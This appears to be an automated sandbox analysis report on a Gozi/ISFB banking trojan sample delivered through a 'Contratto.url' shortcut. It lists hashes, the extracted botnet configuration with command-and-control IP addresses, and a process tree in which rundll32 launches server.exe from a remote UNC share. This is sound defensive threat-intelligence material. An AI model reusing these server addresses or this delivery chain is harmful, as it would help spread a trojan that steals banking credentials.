gozi | 463174e74e8c212a4024f1ccc1bf4490d2ffe6d5ef9c573cc512c5b996adb437

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
24-03-2023 11:23

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General

Target

Contratto/Contratto.url
Size

189B
MD5

084628be20c0cc112964dc4efe6dbc93
SHA1

5535112912b97b970ba4b3b7d51896658beadb46
SHA256

2e93682935ab93fcb97ede1f8aba8076adf5e440a40a407a96f97c1b3af5188f
SHA512

8f2864a3c09fd7db9b390ef50e90bdd540455dec909ed8ed7afb681517b11c9dfbb5ab205b975103b9d3c0e6d44eca1a30c7af905593b5d72d6541b8b2bf6c8a

Score

10^/10

gozi 7716 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

7716

checklist.skype.com

193.233.175.115

185.68.93.20

62.173.140.250

46.8.210.133

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4238149048-355649189-894321705-1000\Control Panel\International\Geo\Nation	rundll32.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

rundll32.exe

description	pid	process	target process
PID 1160 wrote to memory of 3464	1160	rundll32.exe	server.exe
PID 1160 wrote to memory of 3464	1160	rundll32.exe	server.exe
PID 1160 wrote to memory of 3464	1160	rundll32.exe	server.exe

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Contratto\Contratto.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1160

\??\UNC\46.8.19.242\Agenzia\server.exe
"\\46.8.19.242\Agenzia\server.exe"
2⤵
PID:3464

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/3464-134-0x0000000002CF0000-0x0000000002CFB000-memory.dmp

Filesize
44KB

Download
memory/3464-135-0x0000000000400000-0x0000000002B6C000-memory.dmp

Filesize
39.4MB

Download
memory/3464-136-0x0000000002D10000-0x0000000002D1D000-memory.dmp

Filesize
52KB

Download
memory/3464-139-0x0000000000400000-0x0000000002B6C000-memory.dmp

Filesize
39.4MB

Download